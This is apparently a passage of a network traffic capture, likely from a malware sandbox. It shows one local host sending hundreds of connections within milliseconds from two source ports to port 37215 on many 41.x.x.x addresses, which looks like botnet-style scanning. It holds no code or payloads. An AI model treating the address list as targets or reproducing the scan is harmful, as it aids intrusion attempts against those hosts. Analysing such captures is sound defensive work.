Feb 20, 2022 16:02:43.593615055 CET	27477	37215	192.168.2.23	41.8.183.138
Feb 20, 2022 16:02:43.593621016 CET	27221	37215	192.168.2.23	41.44.63.117
Feb 20, 2022 16:02:43.593633890 CET	27221	37215	192.168.2.23	41.139.9.240
Feb 20, 2022 16:02:43.593636990 CET	27477	37215	192.168.2.23	41.142.210.207
Feb 20, 2022 16:02:43.593647003 CET	27477	37215	192.168.2.23	41.114.94.112
Feb 20, 2022 16:02:43.593662024 CET	27477	37215	192.168.2.23	41.214.196.213
Feb 20, 2022 16:02:43.593664885 CET	27221	37215	192.168.2.23	41.87.30.159
Feb 20, 2022 16:02:43.593698025 CET	27477	37215	192.168.2.23	41.249.240.244
Feb 20, 2022 16:02:43.593714952 CET	27477	37215	192.168.2.23	41.162.113.87
Feb 20, 2022 16:02:43.593734980 CET	27477	37215	192.168.2.23	41.229.6.174
Feb 20, 2022 16:02:43.593755960 CET	27221	37215	192.168.2.23	41.76.127.81
Feb 20, 2022 16:02:43.593761921 CET	27221	37215	192.168.2.23	41.146.136.81
Feb 20, 2022 16:02:43.593774080 CET	27221	37215	192.168.2.23	41.47.158.172
Feb 20, 2022 16:02:43.593782902 CET	27477	37215	192.168.2.23	41.249.201.69
Feb 20, 2022 16:02:43.593794107 CET	27221	37215	192.168.2.23	41.232.165.28
Feb 20, 2022 16:02:43.593816996 CET	27477	37215	192.168.2.23	41.79.231.72
Feb 20, 2022 16:02:43.593830109 CET	27477	37215	192.168.2.23	41.220.52.77
Feb 20, 2022 16:02:43.593861103 CET	27221	37215	192.168.2.23	41.251.161.247
Feb 20, 2022 16:02:43.593871117 CET	27221	37215	192.168.2.23	41.20.44.66
Feb 20, 2022 16:02:43.593872070 CET	27477	37215	192.168.2.23	41.210.12.112
Feb 20, 2022 16:02:43.593885899 CET	27221	37215	192.168.2.23	41.228.69.33
Feb 20, 2022 16:02:43.593887091 CET	27221	37215	192.168.2.23	41.137.170.97
Feb 20, 2022 16:02:43.593895912 CET	27477	37215	192.168.2.23	41.107.210.0
Feb 20, 2022 16:02:43.593905926 CET	27221	37215	192.168.2.23	41.80.229.131
Feb 20, 2022 16:02:43.593925953 CET	27477	37215	192.168.2.23	41.94.35.13
Feb 20, 2022 16:02:43.593929052 CET	27221	37215	192.168.2.23	41.226.235.169
Feb 20, 2022 16:02:43.593931913 CET	27221	37215	192.168.2.23	41.111.37.43
Feb 20, 2022 16:02:43.593946934 CET	27477	37215	192.168.2.23	41.18.253.86
Feb 20, 2022 16:02:43.593952894 CET	27477	37215	192.168.2.23	41.209.162.14
Feb 20, 2022 16:02:43.593967915 CET	27221	37215	192.168.2.23	41.196.111.136
Feb 20, 2022 16:02:43.593978882 CET	27477	37215	192.168.2.23	41.76.193.79
Feb 20, 2022 16:02:43.593993902 CET	27477	37215	192.168.2.23	41.200.82.2
Feb 20, 2022 16:02:43.594007015 CET	27221	37215	192.168.2.23	41.181.98.22
Feb 20, 2022 16:02:43.594022989 CET	27221	37215	192.168.2.23	41.187.141.223
Feb 20, 2022 16:02:43.594028950 CET	27477	37215	192.168.2.23	41.103.215.16
Feb 20, 2022 16:02:43.594055891 CET	27221	37215	192.168.2.23	41.206.62.123
Feb 20, 2022 16:02:43.594057083 CET	27477	37215	192.168.2.23	41.152.174.133
Feb 20, 2022 16:02:43.594070911 CET	27221	37215	192.168.2.23	41.190.202.112
Feb 20, 2022 16:02:43.594080925 CET	27477	37215	192.168.2.23	41.237.87.231
Feb 20, 2022 16:02:43.594095945 CET	27221	37215	192.168.2.23	41.254.206.4
Feb 20, 2022 16:02:43.594095945 CET	27221	37215	192.168.2.23	41.126.94.125
Feb 20, 2022 16:02:43.594106913 CET	27477	37215	192.168.2.23	41.3.180.80
Feb 20, 2022 16:02:43.594116926 CET	27221	37215	192.168.2.23	41.136.83.188
Feb 20, 2022 16:02:43.594146013 CET	27477	37215	192.168.2.23	41.66.180.247
Feb 20, 2022 16:02:43.594155073 CET	27221	37215	192.168.2.23	41.51.14.47
Feb 20, 2022 16:02:43.594171047 CET	27477	37215	192.168.2.23	41.230.123.161
Feb 20, 2022 16:02:43.594196081 CET	27221	37215	192.168.2.23	41.246.127.216
Feb 20, 2022 16:02:43.594201088 CET	27477	37215	192.168.2.23	41.187.141.157
Feb 20, 2022 16:02:43.594218969 CET	27477	37215	192.168.2.23	41.20.42.37
Feb 20, 2022 16:02:43.594227076 CET	27221	37215	192.168.2.23	41.252.151.102
Feb 20, 2022 16:02:43.594242096 CET	27221	37215	192.168.2.23	41.52.43.72
Feb 20, 2022 16:02:43.594244003 CET	27477	37215	192.168.2.23	41.166.123.212
Feb 20, 2022 16:02:43.594269037 CET	27477	37215	192.168.2.23	41.26.105.32
Feb 20, 2022 16:02:43.594279051 CET	27221	37215	192.168.2.23	41.66.122.50
Feb 20, 2022 16:02:43.594295979 CET	27477	37215	192.168.2.23	41.15.66.238
Feb 20, 2022 16:02:43.594319105 CET	27477	37215	192.168.2.23	41.225.17.107
Feb 20, 2022 16:02:43.594330072 CET	27221	37215	192.168.2.23	41.192.227.204
Feb 20, 2022 16:02:43.594352961 CET	27477	37215	192.168.2.23	41.215.135.86
Feb 20, 2022 16:02:43.594367027 CET	27477	37215	192.168.2.23	41.168.168.181
Feb 20, 2022 16:02:43.594376087 CET	27221	37215	192.168.2.23	41.116.191.61
Feb 20, 2022 16:02:43.594381094 CET	27477	37215	192.168.2.23	41.116.243.124
Feb 20, 2022 16:02:43.594386101 CET	27221	37215	192.168.2.23	41.238.106.171
Feb 20, 2022 16:02:43.594419003 CET	27221	37215	192.168.2.23	41.43.197.41
Feb 20, 2022 16:02:43.594428062 CET	27477	37215	192.168.2.23	41.72.65.179
Feb 20, 2022 16:02:43.594439983 CET	27221	37215	192.168.2.23	41.0.8.111
Feb 20, 2022 16:02:43.594451904 CET	27477	37215	192.168.2.23	41.126.27.156
Feb 20, 2022 16:02:43.594475031 CET	27477	37215	192.168.2.23	41.225.6.252
Feb 20, 2022 16:02:43.594500065 CET	27221	37215	192.168.2.23	41.41.113.146
Feb 20, 2022 16:02:43.594516039 CET	27221	37215	192.168.2.23	41.104.67.106
Feb 20, 2022 16:02:43.594516993 CET	27477	37215	192.168.2.23	41.238.154.101
Feb 20, 2022 16:02:43.594537020 CET	27477	37215	192.168.2.23	41.132.16.41
Feb 20, 2022 16:02:43.594561100 CET	27477	37215	192.168.2.23	41.64.66.219
Feb 20, 2022 16:02:43.594567060 CET	27221	37215	192.168.2.23	41.13.13.81
Feb 20, 2022 16:02:43.594585896 CET	27477	37215	192.168.2.23	41.155.212.162
Feb 20, 2022 16:02:43.594609976 CET	27477	37215	192.168.2.23	41.239.110.209
Feb 20, 2022 16:02:43.594614983 CET	27221	37215	192.168.2.23	41.45.35.99
Feb 20, 2022 16:02:43.594619989 CET	27221	37215	192.168.2.23	41.110.200.135
Feb 20, 2022 16:02:43.594633102 CET	27221	37215	192.168.2.23	41.248.85.184
Feb 20, 2022 16:02:43.594645023 CET	27477	37215	192.168.2.23	41.2.152.159
Feb 20, 2022 16:02:43.594660044 CET	27477	37215	192.168.2.23	41.91.72.49
Feb 20, 2022 16:02:43.594661951 CET	27221	37215	192.168.2.23	41.220.45.96
Feb 20, 2022 16:02:43.594690084 CET	27221	37215	192.168.2.23	41.122.94.159
Feb 20, 2022 16:02:43.594708920 CET	27477	37215	192.168.2.23	41.159.245.69
Feb 20, 2022 16:02:43.594713926 CET	27477	37215	192.168.2.23	41.5.60.119
Feb 20, 2022 16:02:43.594717026 CET	27221	37215	192.168.2.23	41.239.215.164
Feb 20, 2022 16:02:43.594737053 CET	27477	37215	192.168.2.23	41.2.66.182
Feb 20, 2022 16:02:43.594741106 CET	27221	37215	192.168.2.23	41.221.54.158
Feb 20, 2022 16:02:43.594749928 CET	27477	37215	192.168.2.23	41.229.48.193
Feb 20, 2022 16:02:43.594765902 CET	27221	37215	192.168.2.23	41.213.71.146
Feb 20, 2022 16:02:43.594769001 CET	27477	37215	192.168.2.23	41.85.210.229
Feb 20, 2022 16:02:43.594770908 CET	27221	37215	192.168.2.23	41.141.244.219
Feb 20, 2022 16:02:43.594785929 CET	27477	37215	192.168.2.23	41.171.176.53
Feb 20, 2022 16:02:43.594788074 CET	27221	37215	192.168.2.23	41.178.79.221
Feb 20, 2022 16:02:43.594794989 CET	27221	37215	192.168.2.23	41.126.20.106
Feb 20, 2022 16:02:43.594811916 CET	27477	37215	192.168.2.23	41.171.198.187
Feb 20, 2022 16:02:43.594811916 CET	27477	37215	192.168.2.23	41.152.147.69
Feb 20, 2022 16:02:43.594816923 CET	27221	37215	192.168.2.23	41.107.204.92
Feb 20, 2022 16:02:43.594825983 CET	27221	37215	192.168.2.23	41.179.104.115
Feb 20, 2022 16:02:43.594839096 CET	27477	37215	192.168.2.23	41.65.165.182
Feb 20, 2022 16:02:43.594845057 CET	27477	37215	192.168.2.23	41.239.150.7
Feb 20, 2022 16:02:43.594858885 CET	27221	37215	192.168.2.23	41.220.142.93
Feb 20, 2022 16:02:43.594861984 CET	27221	37215	192.168.2.23	41.62.201.198
Feb 20, 2022 16:02:43.594863892 CET	27221	37215	192.168.2.23	41.70.89.123
Feb 20, 2022 16:02:43.594866037 CET	27477	37215	192.168.2.23	41.136.64.158
Feb 20, 2022 16:02:43.594885111 CET	27221	37215	192.168.2.23	41.79.54.6
Feb 20, 2022 16:02:43.594888926 CET	27477	37215	192.168.2.23	41.12.113.213
Feb 20, 2022 16:02:43.594918966 CET	27477	37215	192.168.2.23	41.153.147.207
Feb 20, 2022 16:02:43.594944954 CET	27221	37215	192.168.2.23	41.67.251.117
Feb 20, 2022 16:02:43.594963074 CET	27221	37215	192.168.2.23	41.60.13.33
Feb 20, 2022 16:02:43.594964027 CET	27477	37215	192.168.2.23	41.97.159.150
Feb 20, 2022 16:02:43.594979048 CET	27221	37215	192.168.2.23	41.75.88.123
Feb 20, 2022 16:02:43.594990015 CET	27477	37215	192.168.2.23	41.150.0.133
Feb 20, 2022 16:02:43.595021009 CET	27477	37215	192.168.2.23	41.231.204.181
Feb 20, 2022 16:02:43.595043898 CET	27477	37215	192.168.2.23	41.98.143.9
Feb 20, 2022 16:02:43.595047951 CET	27221	37215	192.168.2.23	41.110.136.232
Feb 20, 2022 16:02:43.595058918 CET	27477	37215	192.168.2.23	41.47.228.183
Feb 20, 2022 16:02:43.595066071 CET	27221	37215	192.168.2.23	41.110.59.171
Feb 20, 2022 16:02:43.595077038 CET	27221	37215	192.168.2.23	41.200.74.154
Feb 20, 2022 16:02:43.595103025 CET	27477	37215	192.168.2.23	41.175.97.130
Feb 20, 2022 16:02:43.595119953 CET	27477	37215	192.168.2.23	41.168.159.82
Feb 20, 2022 16:02:43.595155001 CET	27221	37215	192.168.2.23	41.9.172.61
Feb 20, 2022 16:02:43.595156908 CET	27221	37215	192.168.2.23	41.212.42.34
Feb 20, 2022 16:02:43.595169067 CET	27221	37215	192.168.2.23	41.228.225.250
Feb 20, 2022 16:02:43.595171928 CET	27477	37215	192.168.2.23	41.22.96.180
Feb 20, 2022 16:02:43.595177889 CET	27221	37215	192.168.2.23	41.77.94.157
Feb 20, 2022 16:02:43.595186949 CET	27221	37215	192.168.2.23	41.45.194.85
Feb 20, 2022 16:02:43.595191002 CET	27221	37215	192.168.2.23	41.153.134.210
Feb 20, 2022 16:02:43.595194101 CET	27477	37215	192.168.2.23	41.33.242.189
Feb 20, 2022 16:02:43.595202923 CET	27477	37215	192.168.2.23	41.32.218.219
Feb 20, 2022 16:02:43.595213890 CET	27221	37215	192.168.2.23	41.238.69.100
Feb 20, 2022 16:02:43.595227003 CET	27221	37215	192.168.2.23	41.254.26.64
Feb 20, 2022 16:02:43.595237970 CET	27477	37215	192.168.2.23	41.137.142.213
Feb 20, 2022 16:02:43.595241070 CET	27477	37215	192.168.2.23	41.60.180.68
Feb 20, 2022 16:02:43.595252037 CET	27221	37215	192.168.2.23	41.199.237.251
Feb 20, 2022 16:02:43.595257044 CET	27477	37215	192.168.2.23	41.255.136.174
Feb 20, 2022 16:02:43.595263958 CET	27477	37215	192.168.2.23	41.122.210.104
Feb 20, 2022 16:02:43.595264912 CET	27221	37215	192.168.2.23	41.81.1.86
Feb 20, 2022 16:02:43.595293045 CET	27221	37215	192.168.2.23	41.3.232.247
Feb 20, 2022 16:02:43.595299006 CET	27477	37215	192.168.2.23	41.38.254.203
Feb 20, 2022 16:02:43.595307112 CET	27221	37215	192.168.2.23	41.123.41.66
Feb 20, 2022 16:02:43.595324039 CET	27477	37215	192.168.2.23	41.109.252.246
Feb 20, 2022 16:02:43.595347881 CET	27477	37215	192.168.2.23	41.138.86.125
Feb 20, 2022 16:02:43.595374107 CET	27477	37215	192.168.2.23	41.143.126.199
Feb 20, 2022 16:02:43.595375061 CET	27221	37215	192.168.2.23	41.14.83.159
Feb 20, 2022 16:02:43.595398903 CET	27477	37215	192.168.2.23	41.216.7.248
Feb 20, 2022 16:02:43.595402956 CET	27221	37215	192.168.2.23	41.242.243.47
Feb 20, 2022 16:02:43.595407963 CET	27221	37215	192.168.2.23	41.248.211.120
Feb 20, 2022 16:02:43.595412016 CET	27477	37215	192.168.2.23	41.33.81.124
Feb 20, 2022 16:02:43.595419884 CET	27477	37215	192.168.2.23	41.63.87.114
Feb 20, 2022 16:02:43.595422983 CET	27221	37215	192.168.2.23	41.82.200.192
Feb 20, 2022 16:02:43.595432997 CET	27221	37215	192.168.2.23	41.111.148.51
Feb 20, 2022 16:02:43.595439911 CET	27477	37215	192.168.2.23	41.179.161.219
Feb 20, 2022 16:02:43.595455885 CET	27221	37215	192.168.2.23	41.223.236.58
Feb 20, 2022 16:02:43.595473051 CET	27221	37215	192.168.2.23	41.86.50.16
Feb 20, 2022 16:02:43.595489979 CET	27477	37215	192.168.2.23	41.139.42.132
Feb 20, 2022 16:02:43.595494032 CET	27221	37215	192.168.2.23	41.9.132.82
Feb 20, 2022 16:02:43.595520020 CET	27221	37215	192.168.2.23	41.123.87.14
Feb 20, 2022 16:02:43.595537901 CET	27477	37215	192.168.2.23	41.59.232.235
Feb 20, 2022 16:02:43.595550060 CET	27221	37215	192.168.2.23	41.152.255.145
Feb 20, 2022 16:02:43.595561981 CET	27221	37215	192.168.2.23	41.136.21.8
Feb 20, 2022 16:02:43.595576048 CET	27477	37215	192.168.2.23	41.239.229.76
Feb 20, 2022 16:02:43.595583916 CET	27221	37215	192.168.2.23	41.90.87.21
Feb 20, 2022 16:02:43.595586061 CET	27477	37215	192.168.2.23	41.79.183.157
Feb 20, 2022 16:02:43.595602989 CET	27221	37215	192.168.2.23	41.50.136.75
Feb 20, 2022 16:02:43.595614910 CET	27477	37215	192.168.2.23	41.29.198.65
Feb 20, 2022 16:02:43.595624924 CET	27477	37215	192.168.2.23	41.53.35.106
Feb 20, 2022 16:02:43.595634937 CET	27477	37215	192.168.2.23	41.54.170.115
Feb 20, 2022 16:02:43.595638990 CET	27221	37215	192.168.2.23	41.119.254.166
Feb 20, 2022 16:02:43.595638990 CET	27477	37215	192.168.2.23	41.11.173.44
Feb 20, 2022 16:02:43.595642090 CET	27221	37215	192.168.2.23	41.175.78.107
Feb 20, 2022 16:02:43.595660925 CET	27477	37215	192.168.2.23	41.175.221.183
Feb 20, 2022 16:02:43.595689058 CET	27221	37215	192.168.2.23	41.168.37.215
Feb 20, 2022 16:02:43.595694065 CET	27221	37215	192.168.2.23	41.6.145.83
Feb 20, 2022 16:02:43.595720053 CET	27221	37215	192.168.2.23	41.77.151.128
Feb 20, 2022 16:02:43.595727921 CET	27477	37215	192.168.2.23	41.33.164.78
Feb 20, 2022 16:02:43.595730066 CET	27477	37215	192.168.2.23	41.245.223.210
Feb 20, 2022 16:02:43.595752001 CET	27221	37215	192.168.2.23	41.234.129.94
Feb 20, 2022 16:02:43.595757961 CET	27477	37215	192.168.2.23	41.2.184.177
Feb 20, 2022 16:02:43.595765114 CET	27221	37215	192.168.2.23	41.185.214.104
Feb 20, 2022 16:02:43.595774889 CET	27477	37215	192.168.2.23	41.139.228.21
Feb 20, 2022 16:02:43.595789909 CET	27477	37215	192.168.2.23	41.172.12.210
Feb 20, 2022 16:02:43.595799923 CET	27221	37215	192.168.2.23	41.122.196.114
Feb 20, 2022 16:02:43.595819950 CET	27477	37215	192.168.2.23	41.200.239.183
Feb 20, 2022 16:02:43.595839024 CET	27221	37215	192.168.2.23	41.195.250.3
Feb 20, 2022 16:02:43.595850945 CET	27221	37215	192.168.2.23	41.187.214.120
Feb 20, 2022 16:02:43.595866919 CET	27477	37215	192.168.2.23	41.28.22.104
Feb 20, 2022 16:02:43.595870018 CET	27477	37215	192.168.2.23	41.138.57.28
Feb 20, 2022 16:02:43.595887899 CET	27221	37215	192.168.2.23	41.213.161.228
Feb 20, 2022 16:02:43.595889091 CET	27221	37215	192.168.2.23	41.133.255.179
Feb 20, 2022 16:02:43.595892906 CET	27477	37215	192.168.2.23	41.35.74.9
Feb 20, 2022 16:02:43.595906973 CET	27221	37215	192.168.2.23	41.216.168.118
Feb 20, 2022 16:02:43.595922947 CET	27477	37215	192.168.2.23	41.177.73.223
Feb 20, 2022 16:02:43.595925093 CET	27221	37215	192.168.2.23	41.97.27.5
Feb 20, 2022 16:02:43.595949888 CET	27477	37215	192.168.2.23	41.173.42.240
Feb 20, 2022 16:02:43.595954895 CET	27221	37215	192.168.2.23	41.240.246.206
Feb 20, 2022 16:02:43.595969915 CET	27477	37215	192.168.2.23	41.142.60.104
Feb 20, 2022 16:02:43.595974922 CET	27221	37215	192.168.2.23	41.125.189.113
Feb 20, 2022 16:02:43.595990896 CET	27477	37215	192.168.2.23	41.239.156.96
Feb 20, 2022 16:02:43.596010923 CET	27221	37215	192.168.2.23	41.123.236.42
Feb 20, 2022 16:02:43.596023083 CET	27477	37215	192.168.2.23	41.74.121.127
Feb 20, 2022 16:02:43.596040010 CET	27221	37215	192.168.2.23	41.103.79.52
Feb 20, 2022 16:02:43.596065044 CET	27221	37215	192.168.2.23	41.161.80.206
Feb 20, 2022 16:02:43.596070051 CET	27477	37215	192.168.2.23	41.201.209.99
Feb 20, 2022 16:02:43.596088886 CET	27477	37215	192.168.2.23	41.36.183.220
Feb 20, 2022 16:02:43.596118927 CET	27477	37215	192.168.2.23	41.55.177.191
Feb 20, 2022 16:02:43.596133947 CET	27477	37215	192.168.2.23	41.219.149.218
Feb 20, 2022 16:02:43.596143007 CET	27221	37215	192.168.2.23	41.168.232.167
Feb 20, 2022 16:02:43.596153975 CET	27477	37215	192.168.2.23	41.185.122.138
Feb 20, 2022 16:02:43.596163988 CET	27477	37215	192.168.2.23	41.214.188.194
Feb 20, 2022 16:02:43.596174002 CET	27477	37215	192.168.2.23	41.164.94.71
Feb 20, 2022 16:02:43.596188068 CET	27221	37215	192.168.2.23	41.114.123.115
Feb 20, 2022 16:02:43.596198082 CET	27477	37215	192.168.2.23	41.63.99.162
Feb 20, 2022 16:02:43.596220016 CET	27477	37215	192.168.2.23	41.161.39.17
Feb 20, 2022 16:02:43.596245050 CET	27477	37215	192.168.2.23	41.163.157.44
Feb 20, 2022 16:02:43.596261978 CET	27477	37215	192.168.2.23	41.29.51.229
Feb 20, 2022 16:02:43.596292973 CET	27477	37215	192.168.2.23	41.125.27.84
Feb 20, 2022 16:02:43.596304893 CET	27477	37215	192.168.2.23	41.65.20.65
Feb 20, 2022 16:02:43.596326113 CET	27477	37215	192.168.2.23	41.246.208.139
Feb 20, 2022 16:02:43.596366882 CET	27477	37215	192.168.2.23	41.34.209.144
Feb 20, 2022 16:02:43.596391916 CET	27477	37215	192.168.2.23	41.227.113.243
Feb 20, 2022 16:02:43.596398115 CET	27477	37215	192.168.2.23	41.219.205.166
Feb 20, 2022 16:02:43.596419096 CET	27477	37215	192.168.2.23	41.15.162.222
Feb 20, 2022 16:02:43.596441031 CET	27477	37215	192.168.2.23	41.243.42.56
Feb 20, 2022 16:02:43.596482992 CET	27477	37215	192.168.2.23	41.235.79.229
Feb 20, 2022 16:02:43.596499920 CET	27477	37215	192.168.2.23	41.91.114.217
Feb 20, 2022 16:02:43.596503019 CET	27477	37215	192.168.2.23	41.165.140.163
Feb 20, 2022 16:02:43.596543074 CET	27477	37215	192.168.2.23	41.102.22.109
Feb 20, 2022 16:02:43.596549034 CET	27477	37215	192.168.2.23	41.177.209.49
Feb 20, 2022 16:02:43.596566916 CET	27477	37215	192.168.2.23	41.87.226.136
Feb 20, 2022 16:02:43.596618891 CET	27477	37215	192.168.2.23	41.30.55.254
Feb 20, 2022 16:02:43.596636057 CET	27477	37215	192.168.2.23	41.169.125.243
Feb 20, 2022 16:02:43.596662998 CET	27477	37215	192.168.2.23	41.16.169.76
Feb 20, 2022 16:02:43.596689939 CET	27477	37215	192.168.2.23	41.57.185.87
Feb 20, 2022 16:02:43.596698999 CET	27477	37215	192.168.2.23	41.105.50.5
Feb 20, 2022 16:02:43.596772909 CET	27477	37215	192.168.2.23	41.2.170.222
Feb 20, 2022 16:02:43.596802950 CET	27477	37215	192.168.2.23	41.13.85.55
Feb 20, 2022 16:02:43.596852064 CET	27477	37215	192.168.2.23	41.243.112.115
Feb 20, 2022 16:02:43.596877098 CET	27477	37215	192.168.2.23	41.191.247.64
Feb 20, 2022 16:02:43.596879959 CET	27477	37215	192.168.2.23	41.93.105.83
Feb 20, 2022 16:02:43.596910000 CET	27477	37215	192.168.2.23	41.224.126.40
Feb 20, 2022 16:02:43.596915007 CET	27477	37215	192.168.2.23	41.175.132.182
Feb 20, 2022 16:02:43.596918106 CET	27477	37215	192.168.2.23	41.74.134.188
Feb 20, 2022 16:02:43.596945047 CET	27477	37215	192.168.2.23	41.36.3.41
Feb 20, 2022 16:02:43.596962929 CET	27477	37215	192.168.2.23	41.222.3.225
Feb 20, 2022 16:02:43.596987963 CET	27477	37215	192.168.2.23	41.220.162.13
Feb 20, 2022 16:02:43.597006083 CET	27477	37215	192.168.2.23	41.167.125.102
Feb 20, 2022 16:02:43.597032070 CET	27477	37215	192.168.2.23	41.54.2.206
Feb 20, 2022 16:02:43.597105026 CET	27477	37215	192.168.2.23	41.93.103.124
Feb 20, 2022 16:02:43.597143888 CET	27477	37215	192.168.2.23	41.95.218.69
Feb 20, 2022 16:02:43.597165108 CET	27477	37215	192.168.2.23	41.201.216.194
Feb 20, 2022 16:02:43.597187996 CET	27477	37215	192.168.2.23	41.143.136.237
Feb 20, 2022 16:02:43.597218990 CET	27477	37215	192.168.2.23	41.148.96.39
Feb 20, 2022 16:02:43.597235918 CET	27477	37215	192.168.2.23	41.31.185.21
Feb 20, 2022 16:02:43.597268105 CET	27477	37215	192.168.2.23	41.135.230.167
Feb 20, 2022 16:02:43.597306013 CET	27477	37215	192.168.2.23	41.113.93.205
Feb 20, 2022 16:02:43.597311020 CET	27477	37215	192.168.2.23	41.89.39.238
Feb 20, 2022 16:02:43.597337008 CET	27477	37215	192.168.2.23	41.102.228.245
Feb 20, 2022 16:02:43.597373009 CET	27477	37215	192.168.2.23	41.180.33.33
Feb 20, 2022 16:02:43.597379923 CET	27477	37215	192.168.2.23	41.142.25.136
Feb 20, 2022 16:02:43.597402096 CET	27477	37215	192.168.2.23	41.143.44.128
Feb 20, 2022 16:02:43.597420931 CET	27477	37215	192.168.2.23	41.208.160.82
Feb 20, 2022 16:02:43.597429037 CET	27477	37215	192.168.2.23	41.19.202.162
Feb 20, 2022 16:02:43.597440958 CET	27477	37215	192.168.2.23	41.71.137.56
Feb 20, 2022 16:02:43.597470999 CET	27477	37215	192.168.2.23	41.111.229.46
Feb 20, 2022 16:02:43.597495079 CET	27477	37215	192.168.2.23	41.127.119.110
Feb 20, 2022 16:02:43.597544909 CET	27477	37215	192.168.2.23	41.33.76.186
Feb 20, 2022 16:02:43.597569942 CET	27477	37215	192.168.2.23	41.28.76.237
Feb 20, 2022 16:02:43.597609043 CET	27477	37215	192.168.2.23	41.218.250.19
Feb 20, 2022 16:02:43.597625017 CET	27477	37215	192.168.2.23	41.24.25.60
Feb 20, 2022 16:02:43.597640038 CET	27477	37215	192.168.2.23	41.89.71.43
Feb 20, 2022 16:02:43.597657919 CET	27477	37215	192.168.2.23	41.28.215.142
Feb 20, 2022 16:02:43.597707033 CET	27477	37215	192.168.2.23	41.173.239.164
Feb 20, 2022 16:02:43.597774982 CET	27477	37215	192.168.2.23	41.141.89.66
Feb 20, 2022 16:02:43.597793102 CET	27477	37215	192.168.2.23	41.70.207.127
Feb 20, 2022 16:02:43.597835064 CET	27477	37215	192.168.2.23	41.103.51.74
Feb 20, 2022 16:02:43.597866058 CET	27477	37215	192.168.2.23	41.219.108.24
Feb 20, 2022 16:02:43.597870111 CET	27477	37215	192.168.2.23	41.10.170.37
Feb 20, 2022 16:02:43.597886086 CET	27477	37215	192.168.2.23	41.250.131.222
Feb 20, 2022 16:02:43.597888947 CET	27477	37215	192.168.2.23	41.129.208.77
Feb 20, 2022 16:02:43.597903013 CET	27477	37215	192.168.2.23	41.121.100.108
Feb 20, 2022 16:02:43.597922087 CET	27477	37215	192.168.2.23	41.4.26.57
Feb 20, 2022 16:02:43.597925901 CET	27477	37215	192.168.2.23	41.36.213.186
Feb 20, 2022 16:02:43.597939014 CET	27477	37215	192.168.2.23	41.167.225.152
Feb 20, 2022 16:02:43.597949982 CET	27477	37215	192.168.2.23	41.198.106.179
Feb 20, 2022 16:02:43.597995043 CET	27477	37215	192.168.2.23	41.74.216.243
Feb 20, 2022 16:02:43.598017931 CET	27477	37215	192.168.2.23	41.183.49.7
Feb 20, 2022 16:02:43.598043919 CET	27477	37215	192.168.2.23	41.213.219.24
Feb 20, 2022 16:02:43.598062992 CET	27477	37215	192.168.2.23	41.77.57.8
Feb 20, 2022 16:02:43.598099947 CET	27477	37215	192.168.2.23	41.35.68.235
Feb 20, 2022 16:02:43.598145008 CET	27477	37215	192.168.2.23	41.211.227.88
Feb 20, 2022 16:02:43.598164082 CET	27477	37215	192.168.2.23	41.132.230.37
Feb 20, 2022 16:02:43.598181009 CET	27477	37215	192.168.2.23	41.66.87.70
Feb 20, 2022 16:02:43.598216057 CET	27477	37215	192.168.2.23	41.202.110.48
Feb 20, 2022 16:02:43.598226070 CET	27477	37215	192.168.2.23	41.193.62.185
Feb 20, 2022 16:02:43.598246098 CET	27477	37215	192.168.2.23	41.202.55.56
Feb 20, 2022 16:02:43.598275900 CET	27477	37215	192.168.2.23	41.189.7.47
Feb 20, 2022 16:02:43.598292112 CET	27477	37215	192.168.2.23	41.194.230.146
Feb 20, 2022 16:02:43.598310947 CET	27477	37215	192.168.2.23	41.217.65.55
Feb 20, 2022 16:02:43.598337889 CET	27477	37215	192.168.2.23	41.148.17.144
Feb 20, 2022 16:02:43.598355055 CET	27477	37215	192.168.2.23	41.238.36.65
Feb 20, 2022 16:02:43.598373890 CET	27477	37215	192.168.2.23	41.107.81.86
Feb 20, 2022 16:02:43.598406076 CET	27477	37215	192.168.2.23	41.24.36.204
Feb 20, 2022 16:02:43.598448992 CET	27477	37215	192.168.2.23	41.50.230.73
Feb 20, 2022 16:02:43.598465919 CET	27477	37215	192.168.2.23	41.45.112.60
Feb 20, 2022 16:02:43.598519087 CET	27477	37215	192.168.2.23	41.56.171.78
Feb 20, 2022 16:02:43.598534107 CET	27477	37215	192.168.2.23	41.86.183.104
Feb 20, 2022 16:02:43.598537922 CET	27477	37215	192.168.2.23	41.185.90.178
Feb 20, 2022 16:02:43.598560095 CET	27477	37215	192.168.2.23	41.197.92.203
Feb 20, 2022 16:02:43.598561049 CET	27477	37215	192.168.2.23	41.172.86.129
Feb 20, 2022 16:02:43.598575115 CET	27477	37215	192.168.2.23	41.6.55.252
Feb 20, 2022 16:02:43.598628044 CET	27477	37215	192.168.2.23	41.158.123.27
Feb 20, 2022 16:02:43.598648071 CET	27477	37215	192.168.2.23	41.247.50.120
Feb 20, 2022 16:02:43.598670959 CET	27477	37215	192.168.2.23	41.185.51.140
Feb 20, 2022 16:02:43.598695993 CET	27477	37215	192.168.2.23	41.160.88.238
Feb 20, 2022 16:02:43.598723888 CET	27477	37215	192.168.2.23	41.132.148.68
Feb 20, 2022 16:02:43.598773956 CET	27477	37215	192.168.2.23	41.232.91.135
Feb 20, 2022 16:02:43.598793983 CET	27477	37215	192.168.2.23	41.168.114.194
Feb 20, 2022 16:02:43.598841906 CET	27477	37215	192.168.2.23	41.189.175.36
Feb 20, 2022 16:02:43.598850965 CET	27477	37215	192.168.2.23	41.106.92.118
Feb 20, 2022 16:02:43.598856926 CET	27477	37215	192.168.2.23	41.253.90.101
Feb 20, 2022 16:02:43.598881960 CET	27477	37215	192.168.2.23	41.48.34.8
Feb 20, 2022 16:02:43.598900080 CET	27477	37215	192.168.2.23	41.182.38.127
Feb 20, 2022 16:02:43.598962069 CET	27477	37215	192.168.2.23	41.59.82.240
Feb 20, 2022 16:02:43.598988056 CET	27477	37215	192.168.2.23	41.15.80.71
Feb 20, 2022 16:02:43.599023104 CET	27477	37215	192.168.2.23	41.209.233.7
Feb 20, 2022 16:02:43.599045038 CET	27477	37215	192.168.2.23	41.144.19.48
Feb 20, 2022 16:02:43.599073887 CET	27477	37215	192.168.2.23	41.245.250.165
Feb 20, 2022 16:02:43.599087954 CET	27477	37215	192.168.2.23	41.220.140.181
Feb 20, 2022 16:02:43.599116087 CET	27477	37215	192.168.2.23	41.110.194.179
Feb 20, 2022 16:02:43.599137068 CET	27477	37215	192.168.2.23	41.125.44.238
Feb 20, 2022 16:02:43.599158049 CET	27477	37215	192.168.2.23	41.83.5.132
Feb 20, 2022 16:02:43.599180937 CET	27477	37215	192.168.2.23	41.187.239.149
Feb 20, 2022 16:02:43.599200964 CET	27477	37215	192.168.2.23	41.56.86.133
